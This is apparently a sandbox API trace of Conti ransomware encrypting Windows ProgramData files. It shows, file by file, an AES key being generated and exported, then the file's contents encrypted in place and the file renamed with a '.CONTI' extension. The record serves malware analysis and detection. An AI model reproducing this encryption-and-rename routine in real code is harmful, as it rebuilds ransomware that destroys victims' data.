	[0113.982] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\685__Connections_Cellular_Bharat Sanchar Nigam Limited (India)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\685__Connections_Cellular_Bharat Sanchar Nigam Limited (India)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\685__Connections_Cellular_Bharat Sanchar Nigam Limited (India)_i0$(__MVID)@WAP.provxml.CONTI"
	[0113.982] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\685__Connections_Cellular_Bharat Sanchar Nigam Limited (India)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\685__connections_cellular_bharat sanchar nigam limited (india)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\685__Connections_Cellular_Bharat Sanchar Nigam Limited (India)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\685__connections_cellular_bharat sanchar nigam limited (india)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0113.983] GetProcessHeap () returned 0x1720000
	[0113.983] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0113.983] CryptDestroyKey (hKey=0x17c78f0) returned 1
	[0113.983] GetProcessHeap () returned 0x1720000
	[0113.983] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1815ff8 | out: hHeap=0x1720000) returned 1
	[0113.983] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c) returned 1
	[0113.983] CryptGenKey (in: hProv=0x176c458, Algid=0x6610, dwFlags=0x1, phKey=0x6b442f0 | out: phKey=0x6b442f0*=0x17c78f0) returned 1
	[0113.983] CryptExportKey (in: hKey=0x17c78f0, hExpKey=0x175e130, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b442f4, pdwDataLen=0x54bfc14 | out: pbData=0x6b442f4*, pdwDataLen=0x54bfc14*=0x20c) returned 1
	[0113.984] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\686__Connections_Cellular_T-Mobile.pl (Poland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\686__connections_cellular_t-mobile.pl (poland)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0113.984] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\686__Connections_Cellular_T-Mobile.pl (Poland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\686__connections_cellular_t-mobile.pl (poland)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec
	[0113.984] GetLastError () returned 0x0
	[0113.984] GetFileSizeEx (in: hFile=0x3ec, lpFileSize=0x54bfbc0 | out: lpFileSize=0x54bfbc0*=855) returned 1
	[0113.984] SetFilePointer (in: hFile=0x3ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x357
	[0113.984] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x22d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.984] SetEndOfFile (hFile=0x3ec) returned 1
	[0113.984] SetFilePointer (in: hFile=0x3ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.984] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.984] WriteFile (in: hFile=0x3ec, lpBuffer=0x6b442f4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x54bfbcc, lpOverlapped=0x0 | out: lpBuffer=0x6b442f4*, lpNumberOfBytesWritten=0x54bfbcc*=0x20c, lpOverlapped=0x0) returned 1
	[0113.991] SetFilePointer (in: hFile=0x3ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.991] ReadFile (in: hFile=0x3ec, lpBuffer=0xfdc0000, nNumberOfBytesToRead=0x357, lpNumberOfBytesRead=0x54bfbec, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesRead=0x54bfbec*=0x357, lpOverlapped=0x0) returned 1
	[0113.991] CryptEncrypt (in: hKey=0x17c78f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x357, dwBufLen=0x500000 | out: pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x360) returned 1
	[0113.991] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.991] WriteFile (in: hFile=0x3ec, lpBuffer=0xfdc0000*, nNumberOfBytesToWrite=0x360, lpNumberOfBytesWritten=0x54bfc00, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesWritten=0x54bfc00*=0x360, lpOverlapped=0x0) returned 1
	[0113.991] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.991] WriteFile (in: hFile=0x3ec, lpBuffer=0x6b442e8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x54bfc18, lpOverlapped=0x0 | out: lpBuffer=0x6b442e8*, lpNumberOfBytesWritten=0x54bfc18*=0x8, lpOverlapped=0x0) returned 1
	[0113.991] SetFilePointer (in: hFile=0x3ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.991] CloseHandle (hObject=0x3ec) returned 1
	[0113.991] GetProcessHeap () returned 0x1720000
	[0113.991] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0113.991] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\686__Connections_Cellular_T-Mobile.pl (Poland)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\686__Connections_Cellular_T-Mobile.pl (Poland)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\686__Connections_Cellular_T-Mobile.pl (Poland)_i0$(__MVID)@WAP.provxml"
	[0113.991] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\686__Connections_Cellular_T-Mobile.pl (Poland)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\686__Connections_Cellular_T-Mobile.pl (Poland)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\686__Connections_Cellular_T-Mobile.pl (Poland)_i0$(__MVID)@WAP.provxml.CONTI"
	[0113.991] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\686__Connections_Cellular_T-Mobile.pl (Poland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\686__connections_cellular_t-mobile.pl (poland)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\686__Connections_Cellular_T-Mobile.pl (Poland)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\686__connections_cellular_t-mobile.pl (poland)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0113.992] GetProcessHeap () returned 0x1720000
	[0113.992] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0113.992] CryptDestroyKey (hKey=0x17c78f0) returned 1
	[0113.992] GetProcessHeap () returned 0x1720000
	[0113.992] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65c9398 | out: hHeap=0x1720000) returned 1
	[0113.992] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c) returned 1
	[0113.992] CryptGenKey (in: hProv=0x176c458, Algid=0x6610, dwFlags=0x1, phKey=0x6b4be20 | out: phKey=0x6b4be20*=0x17c7bf0) returned 1
	[0113.992] CryptExportKey (in: hKey=0x17c7bf0, hExpKey=0x175e130, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4be24, pdwDataLen=0x54bfc14 | out: pbData=0x6b4be24*, pdwDataLen=0x54bfc14*=0x20c) returned 1
	[0113.993] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\688__Connections_Cellular_FarEasTone (Taiwan)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\688__connections_cellular_fareastone (taiwan)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0113.993] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\688__Connections_Cellular_FarEasTone (Taiwan)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\688__connections_cellular_fareastone (taiwan)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec
	[0113.994] GetLastError () returned 0x0
	[0113.994] GetFileSizeEx (in: hFile=0x3ec, lpFileSize=0x54bfbc0 | out: lpFileSize=0x54bfbc0*=718) returned 1
	[0113.994] SetFilePointer (in: hFile=0x3ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2ce
	[0113.994] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x226, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.994] SetEndOfFile (hFile=0x3ec) returned 1
	[0113.994] SetFilePointer (in: hFile=0x3ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.994] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.994] WriteFile (in: hFile=0x3ec, lpBuffer=0x6b4be24*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x54bfbcc, lpOverlapped=0x0 | out: lpBuffer=0x6b4be24*, lpNumberOfBytesWritten=0x54bfbcc*=0x20c, lpOverlapped=0x0) returned 1
	[0114.009] SetFilePointer (in: hFile=0x3ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.009] ReadFile (in: hFile=0x3ec, lpBuffer=0xfdc0000, nNumberOfBytesToRead=0x2ce, lpNumberOfBytesRead=0x54bfbec, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesRead=0x54bfbec*=0x2ce, lpOverlapped=0x0) returned 1
	[0114.010] CryptEncrypt (in: hKey=0x17c7bf0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x2ce, dwBufLen=0x500000 | out: pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x2d0) returned 1
	[0114.010] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.010] WriteFile (in: hFile=0x3ec, lpBuffer=0xfdc0000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x54bfc00, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesWritten=0x54bfc00*=0x2d0, lpOverlapped=0x0) returned 1
	[0114.010] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.010] WriteFile (in: hFile=0x3ec, lpBuffer=0x6b4be18*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x54bfc18, lpOverlapped=0x0 | out: lpBuffer=0x6b4be18*, lpNumberOfBytesWritten=0x54bfc18*=0x8, lpOverlapped=0x0) returned 1
	[0114.010] SetFilePointer (in: hFile=0x3ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.010] CloseHandle (hObject=0x3ec) returned 1
	[0114.011] GetProcessHeap () returned 0x1720000
	[0114.011] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0114.011] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\688__Connections_Cellular_FarEasTone (Taiwan)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\688__Connections_Cellular_FarEasTone (Taiwan)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\688__Connections_Cellular_FarEasTone (Taiwan)_i1$(__MVID)@WAP.provxml"
	[0114.011] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\688__Connections_Cellular_FarEasTone (Taiwan)_i1$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\688__Connections_Cellular_FarEasTone (Taiwan)_i1$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\688__Connections_Cellular_FarEasTone (Taiwan)_i1$(__MVID)@WAP.provxml.CONTI"
	[0114.012] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\688__Connections_Cellular_FarEasTone (Taiwan)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\688__connections_cellular_fareastone (taiwan)_i1$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\688__Connections_Cellular_FarEasTone (Taiwan)_i1$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\688__connections_cellular_fareastone (taiwan)_i1$(__mvid)@wap.provxml.conti")) returned 1
	[0114.017] GetProcessHeap () returned 0x1720000
	[0114.017] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0114.017] CryptDestroyKey (hKey=0x17c7bf0) returned 1
	[0114.017] GetProcessHeap () returned 0x1720000
	[0114.017] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b545a8 | out: hHeap=0x1720000) returned 1
	[0114.017] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c) returned 1
	[0114.018] CryptGenKey (in: hProv=0x176c458, Algid=0x6610, dwFlags=0x1, phKey=0x6b4a078 | out: phKey=0x6b4a078*=0x17c78b0) returned 1
	[0114.018] CryptExportKey (in: hKey=0x17c78b0, hExpKey=0x175e130, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4a07c, pdwDataLen=0x54bfc14 | out: pbData=0x6b4a07c*, pdwDataLen=0x54bfc14*=0x20c) returned 1
	[0114.018] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\68__Connections_Cellular_China Mobile (China)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\68__connections_cellular_china mobile (china)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0114.019] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\68__Connections_Cellular_China Mobile (China)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\68__connections_cellular_china mobile (china)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec
	[0114.019] GetLastError () returned 0x0
	[0114.019] GetFileSizeEx (in: hFile=0x3ec, lpFileSize=0x54bfbc0 | out: lpFileSize=0x54bfbc0*=705) returned 1
	[0114.019] SetFilePointer (in: hFile=0x3ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2c1
	[0114.019] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x233, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.019] SetEndOfFile (hFile=0x3ec) returned 1
	[0114.019] SetFilePointer (in: hFile=0x3ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.019] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.020] WriteFile (in: hFile=0x3ec, lpBuffer=0x6b4a07c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x54bfbcc, lpOverlapped=0x0 | out: lpBuffer=0x6b4a07c*, lpNumberOfBytesWritten=0x54bfbcc*=0x20c, lpOverlapped=0x0) returned 1
	[0115.059] SetFilePointer (in: hFile=0x3ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.059] ReadFile (in: hFile=0x3ec, lpBuffer=0xfdc0000, nNumberOfBytesToRead=0x2c1, lpNumberOfBytesRead=0x54bfbec, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesRead=0x54bfbec*=0x2c1, lpOverlapped=0x0) returned 1
	[0115.059] CryptEncrypt (in: hKey=0x17c78b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x2c1, dwBufLen=0x500000 | out: pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x2d0) returned 1
	[0115.059] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.059] WriteFile (in: hFile=0x3ec, lpBuffer=0xfdc0000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x54bfc00, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesWritten=0x54bfc00*=0x2d0, lpOverlapped=0x0) returned 1
	[0115.059] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.059] WriteFile (in: hFile=0x3ec, lpBuffer=0x6b4a070*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x54bfc18, lpOverlapped=0x0 | out: lpBuffer=0x6b4a070*, lpNumberOfBytesWritten=0x54bfc18*=0x8, lpOverlapped=0x0) returned 1
	[0115.059] SetFilePointer (in: hFile=0x3ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.059] CloseHandle (hObject=0x3ec) returned 1
	[0115.527] GetProcessHeap () returned 0x1720000
	[0115.527] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17fd428
	[0115.528] lstrcpyW (in: lpString1=0x17fd428, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\68__Connections_Cellular_China Mobile (China)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\68__Connections_Cellular_China Mobile (China)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\68__Connections_Cellular_China Mobile (China)_i0$(__MVID)@WAP.provxml"
	[0115.528] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\68__Connections_Cellular_China Mobile (China)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\68__Connections_Cellular_China Mobile (China)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\68__Connections_Cellular_China Mobile (China)_i0$(__MVID)@WAP.provxml.CONTI"
	[0115.528] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\68__Connections_Cellular_China Mobile (China)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\68__connections_cellular_china mobile (china)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\68__Connections_Cellular_China Mobile (China)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\68__connections_cellular_china mobile (china)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0117.279] GetProcessHeap () returned 0x1720000
	[0117.280] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17fd428 | out: hHeap=0x1720000) returned 1
	[0117.291] CryptDestroyKey (hKey=0x17c78b0) returned 1
	[0117.294] GetProcessHeap () returned 0x1720000
	[0117.294] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b54d58 | out: hHeap=0x1720000) returned 1
	[0117.294] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c) returned 1
	[0117.294] CryptGenKey (in: hProv=0x176c458, Algid=0x6610, dwFlags=0x1, phKey=0x65d5750 | out: phKey=0x65d5750*=0x6b7f378) returned 1
	[0117.294] CryptExportKey (in: hKey=0x6b7f378, hExpKey=0x175e130, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d5754, pdwDataLen=0x54bfc14 | out: pbData=0x65d5754*, pdwDataLen=0x54bfc14*=0x20c) returned 1
	[0117.369] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm" (normalized: "c:\\programdata\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm")) returned 0x20
	[0117.370] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm" (normalized: "c:\\programdata\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0
	[0117.416] GetLastError () returned 0x0
	[0117.416] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x54bfbc0 | out: lpFileSize=0x54bfbc0*=626) returned 1
	[0117.416] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x272
	[0117.416] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x232, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0117.416] SetEndOfFile (hFile=0x3d0) returned 1
	[0117.461] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.461] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
